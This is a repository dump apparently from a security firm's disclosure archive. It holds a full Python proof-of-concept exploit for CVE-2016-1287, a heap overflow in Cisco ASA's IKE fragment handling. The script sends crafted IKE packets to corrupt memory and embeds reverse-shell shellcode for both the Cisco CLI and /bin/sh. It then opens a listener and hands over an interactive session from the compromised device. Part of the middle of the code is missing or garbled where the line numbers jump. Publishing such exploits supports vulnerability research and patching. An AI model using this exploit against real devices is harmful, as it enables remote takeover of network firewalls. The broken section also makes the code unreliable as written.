├── CVE-2016-1287.7z ├── CVE_2016_1287_PoC ├── NAPoC └── README.md /CVE-2016-1287.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exodusintel/disclosures/d57776c1f35175afe36b9d9e64728603c5b0808b/CVE-2016-1287.7z -------------------------------------------------------------------------------- /CVE_2016_1287_PoC: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | import socket 4 | import sys 5 | import struct 6 | import string 7 | import random 8 | import time 9 | 10 | 11 | 12 | # Spawns a reverse cisco CLI 13 | cliShellcode = ( 14 | "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" 15 | "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" 16 | "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" 17 | "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" 18 | "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" 19 | "\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00" 20 | "\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0" 21 | "\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00" 22 | "\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8" 23 | "\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3" 24 | "\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1" 25 | "\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08" 26 | "\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04" 27 | "\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44" 28 | "\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb" 29 | "\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08" 30 | "\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50" 31 | "\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb" 32 | "\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17" 33 | "\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31" 34 | "\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20" 35 | "\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff" 36 | "\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00" 37 | ) 38 | 39 | # Spawns a reverse "/bin/sh" 40 | shShellcode = ( 41 | "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" 42 | "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" 43 | "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" 44 | "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" 45 | "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" 46 | "\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8" 47 | "\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed" 48 | "\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74" 49 | "\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59" 50 | "\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8" 51 | "\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24" 52 | "\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80" 53 | "\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01" 54 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00" 55 | "\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 56 | "\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" 57 | "\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00" 58 | "\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5" 59 | "\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00" 60 | "\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f" 61 | "\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d" 62 | "\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4" 63 | "\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2" 64 | "\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20" 65 | "\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00" 66 | "\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00" 67 | "\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00" 68 | "\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00" 69 | "\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83" 70 | "\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd" 71 | "\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73" 72 | "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8" 73 | "\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31" 74 | "\xc0\xc3" 75 | ) 76 | 77 | 78 | # SA Session 79 | class Session(object): 80 | def __init__(self, host_port, id = None): 81 | if id == None: 82 | id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 83 | 84 | self._host, self._port = host_port 85 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 86 | self._id = id 87 | self._mid = 1 88 | 89 | 90 | # Init session 91 | print("[+] Using session ID: " + self._id) 92 | self.send(self.make_SA()) 93 | 94 | # Check if we got something 95 | res = self.recv() 96 | cookie = res[8:16] 97 | print("[+] Cookie: " + cookie) 98 | 99 | self._cookie = cookie 100 | 101 | # Enforce value of 0x21 102 | if ord(res[16]) != 0x21: 103 | raise Exception("Invalid router response") 104 | 105 | print("[+] New SA successfuly created.") 106 | 107 | 108 | # UPD socket helpers 109 | def send(self, buf): 110 | self._sock.sendto(buf, (self._host, self._port)) 111 | 112 | def recv(self, size = 4096): 113 | data, addr = self._sock.recvfrom(size) 114 | return data 115 | 116 | def make_SA(self): 117 | buf = "" 118 | buf += self._id # Initiator SPI 119 | buf += "\x00"*8 # Responder SPI 120 | buf += "\x21" # next payload (security association) 121 | buf += "\x20" # version 122 | buf += "\x22" # exchange type 123 | buf += "\x08" # flags 124 | buf += "\x00"*4 # message ID 125 | buf += "$$$$" # length 126 | 127 | # stolen from pcap 128 | # THIS IS SECURITY ASSOCIATION 129 | buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e" 130 | 131 | # THIS IS KEY EXCHANGE 132 | # this is the type of the next payload... 133 | buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID 134 | # KEY EXCHANGE DATA 135 | buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92" 136 | 137 | # this is the Nonce payload 138 | buf += "\x2b" 139 | buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee" 140 | # lets try a vendor id or three 141 | buf += "\x2b" # next payload, more vendor ID 142 | buf += "\x00" # critical bit 143 | vid = "CISCO-DELETE-REASON" 144 | buf += struct.pack(">H", len(vid)+4) 145 | buf += vid 146 | 147 | # another vendor id 148 | buf += "\x2b" # next payload, more vendor ID 149 | buf += "\x00" # critical bit 150 | vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc." 151 | buf += struct.pack(">H", len(vid)+4) 152 | buf += vid 153 | 154 | # another vendor id 155 | buf += "\x2b" # next payload, more vid 156 | buf += "\x00" # crit 157 | vid = "CISCO-GRE-MODE" 158 | buf += struct.pack(">H", len(vid)+4) 159 | buf += vid 160 | 161 | # last vendor id 162 | buf += "\x00" # next payload 163 | buf += "\x00" 164 | vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3" 165 | buf += struct.pack(">H", len(vid)+4) 166 | buf += vid 167 | 168 | return buf.replace("$$$$", struct.pack(">L", len(buf))) 169 | 170 | def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit): 171 | buf = '' 172 | buf += self._id # Initiator SPI (random) 173 | buf += self._cookie # Responder SPI 174 | buf += "\x84" # next payload 175 | buf += "\x20" # version 176 | buf += "\x25" # exchange type (2=identify protection) 177 | buf += "\x08" # flags 178 | buf += "\x00\x00\x00\x01" # message ID 179 | buf += "ABCD" # length 180 | 181 | # PAYLOAD 182 | payload = "" 183 | payload += "\x00" # next payload (none) 184 | payload += "\x00" # critical bit 185 | payload += struct.pack(">H", flength) #payload_len) # length 186 | payload += struct.pack(">H", fragid) # frag ID 187 | payload += struct.pack("B", seqno) # frag sequence 188 | payload += struct.pack("B", lastfrag) 189 | payload += sploit 190 | 191 | buf += payload 192 | return buf.replace("ABCD", struct.pack(">L", len(buf))) 193 | 194 | 195 | def send_fragment(self, flength, seqno, fragid, lastfrag, sploit): 196 | buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit) 197 | self.send(buf) 198 | 199 | # We're not supposed to receive anything if everything went 200 | # according to plan 201 | 202 | def make_cisco_option_list(self, opt_lst): 203 | buf = '' 204 | buf += self._id # Initiator SPI (random) 205 | buf += self._cookie # Responder SPI 206 | buf += "\x2f" # next payload 207 | buf += "\x20" # version 208 | buf += "\x25" # exchange type (2=identify protection) 209 | buf += "\x08" # flags 210 | buf += struct.pack(">I", 1) # message ID 211 | buf += "ABCD" # length 212 | 213 | # PAYLOAD 214 | payload = "" 215 | payload += "\x00" # next payload (none) 216 | payload += "\x00" # critical bit 217 | payload += "EF" #payload_len) # length 218 | payload += "\x03" # CFG_SET 219 | payload += "\x00\x00\x00" # Reserved 220 | 221 | total = 0x8 222 | for size, n in opt_lst: 223 | option = struct.pack(">H", 0x6000) #id 224 | option += struct.pack(">H", size) # data length 225 | option += "A" * (size) 226 | 227 | total += (size + 4) * n 228 | payload += option * n 229 | buf += payload 230 | 231 | 232 | packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total)) 233 | 234 | return packet 235 | 236 | 237 | class Exploit(object): 238 | def __init__(self, host, revHost, revPort = 4444): 239 | self._host = host 240 | self._port = 500 241 | self._revHost = revHost 242 | self._revPort = revPort 243 | self._sessions = [] 244 | 245 | 246 | # Create a new SA session 247 | def create_SA(self, id = None): 248 | 249 | # Create a new socket for session 250 | sess = Session((self._host, self._port), id) 251 | 252 | # Append to session list 253 | self._sessions.append(sess) 254 | 255 | return sess 256 | 257 | 258 | # Interact with reverse shell 259 | def interact(self): 260 | from telnetlib import Telnet 261 | 262 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 263 | 264 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 265 | 266 | s.bind((self._revHost, self._revPort)) 267 | s.listen(5) 268 | cli = s.accept()[0] 269 | s.close() 270 | print("[+] Got connect-back") 271 | 272 | t = Telnet() 273 | t.sock = cli 274 | t.interact() 275 | 276 | def buildPayload(self, cli = False): 277 | if cli == False: 278 | buf = bytearray(shShellcode) 279 | # Adjust IP and port 280 | buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost) 281 | buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort) 282 | Shellcode = bytes(buf) 283 | else: 284 | Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort)) 285 | 286 | return Shellcode 287 | 288 | 289 | if __name__ == "__main__": 290 | if len(sys.argv) < 3: 291 | print("[+] Usage: {0:s} [:port]".format(sys.argv[0])) 292 | sys.exit(0) 293 | 294 | #TODO: Check host 295 | host = sys.argv[1] 296 | revHost = sys.argv[2] 297 | 298 | # Parse revHost 299 | port = 4444 300 | if revHost.rfind(":") != -1: 301 | revHost, port = revHost.split(":") 302 | port = int(port) 303 | 304 | exploit = Exploit(host, revHost, port) 305 | sess1 = exploit.create_SA() 306 | sess2 = exploit.create_SA() 307 | 308 | n = 0xd6 309 | sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3)) 310 | 311 | # Send packets which will trigger the vulnerability 312 | # Weird packet to get a size of 0x1 313 | sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7)) 314 | 315 | # This fragment will be the one being copied 316 | # during the memory corruption 317 | buf = "A" * (n - 0xd + 0x3) 318 | buf += struct.pack("I", 1) # message ID 403 | packet += "XXXX" # total length including header 404 | 405 | payload = bytearray() 406 | payload += "\x00" # next payload (frag) 407 | payload += "\x00" # critical bit 408 | payload += "\x00\x00" # payload length 409 | payload += "\x03" # CFG_SET 410 | payload += "\x00\x00\x00" # Reserved 411 | 412 | size = 0x130 413 | option = struct.pack(">H", 0x8400) #id 414 | option += struct.pack(">H", size) # data length 415 | option += "\x90" * 0x8 + buf 416 | 417 | payload += option * 0x10 418 | 419 | 420 | # Update payload length 421 | payload[2:4] = struct.pack(">H", len(payload)) 422 | 423 | packet += payload 424 | 425 | # Update payload length 426 | packet[0x18:0x1C] = struct.pack(">I", len(packet)) 427 | 428 | 429 | packet = bytes(packet) 430 | 431 | # Reallocate the fake freed 0x130 bytes chunk with controlled data 432 | # this way we can perform a write-4 memory corruption when freeing 433 | # the subsequent memory 434 | sess1.send(packet) 435 | 436 | time.sleep(0.2) 437 | #raw_input() 438 | packet = bytearray() 439 | packet += sess1._id # Initiator SPI (random) 440 | packet += sess1._cookie # Responder SPI 441 | packet += "\x84" # next payload option list 442 | packet += "\x20" # version 443 | packet += "\x25" # exchange type (2=identify protection) 444 | packet += "\x08" # flags 445 | packet += struct.pack(">I", 1) # message ID 446 | packet += "XXXX" # total length including header 447 | 448 | buf = exploit.buildPayload(cli = True) 449 | 450 | flength = len(buf) + 0x8 451 | fragid = 0xeb 452 | seqno = 0x5 453 | lastfrag = 0 454 | payload = bytearray() 455 | # Jump over garbage directly into shellcode (interpreted as jmp +0x6) 456 | payload += "\xeb" # next payload (none) 457 | payload += "\x06" # critical bit 458 | payload += struct.pack(">H", flength) #payload_len) # length 459 | payload += struct.pack(">H", fragid) # frag ID 460 | payload += struct.pack("B", seqno) # frag sequence 461 | payload += struct.pack("B", lastfrag) 462 | payload += buf 463 | 464 | packet += payload 465 | 466 | # Update payload length 467 | packet[0x18:0x1C] = struct.pack(">I", len(packet)) 468 | 469 | 470 | packet = bytes(packet) 471 | 472 | # Trigger the 2 write-4 and get code execution 473 | sess1.send(packet) 474 | 475 | # Hopefully we'll get something interesting 476 | exploit.interact() 477 | 478 | 479 | -------------------------------------------------------------------------------- /NAPoC: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exodusintel/disclosures/d57776c1f35175afe36b9d9e64728603c5b0808b/NAPoC -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # disclosures 2 | This is a repository to hold all of Exodus Intelligence's disclosure material. 3 | --------------------------------------------------------------------------------